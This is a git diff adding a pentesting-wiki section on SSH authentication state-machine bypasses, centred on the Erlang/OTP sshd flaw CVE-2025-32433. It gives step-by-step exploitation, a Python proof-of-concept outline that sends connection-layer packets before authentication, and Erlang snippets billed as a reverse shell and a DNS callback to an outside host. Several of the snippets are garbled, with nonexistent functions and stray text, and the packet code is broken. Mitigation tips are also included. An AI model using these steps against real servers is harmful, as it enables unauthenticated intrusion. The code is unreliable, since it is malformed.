diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 0e19322a3..fba9d33cd 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -313,10 +313,69 @@ id_rsa - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) +## Authentication State-Machine Bypass (Pre-Auth RCE) + +Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation. + +At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252). If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc. + +### Generic Exploitation Steps +1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…). +2. Craft a raw SSH packet: + * 4-byte **packet_length** (big-endian) + * 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) + * Payload that will be understood by the chosen message type +3. Send the packet(s) **before completing any authentication step**. +4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …). + +Python proof-of-concept outline: +```python +import socket, struct +HOST, PORT = '10.10.10.10', 22 +s = socket.create_connection((HOST, PORT)) +# skip version exchange for brevity – send your own client banner then read server banner +# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner +# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) +pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +In practice you will need to perform (or skip) the key-exchange according to the target implementation, but **no authentication** is ever performed. + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **Affected versions:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **Root cause:** the Erlang native SSH daemon does not validate the current state before invoking `ssh_connection:handle_msg/2`. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the *userauth* state. +* **Impact:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices). + +Example payload that spawns a reverse shell bound to the attacker-controlled channel: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +Blind RCE / out-of-band detection can be performed via DNS: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` + +Detection & Mitigation: +* Inspect SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**. +* Upgrade Erlang/OTP to **27.3.3 / 26.2.5.11 / 25.3.2.20** or newer. +* Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment. + +--- +### Other Implementations Affected +* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accepts an unauthenticated `SSH_MSG_USERAUTH_SUCCESS` sent by the client, effectively the inverse logic flaw. + +The common lesson is that any deviation from the RFC-mandated state transitions can be fatal; when reviewing or fuzzing SSH daemons pay particular attention to *state-machine enforcement*. + + + ## References -- You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) +- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands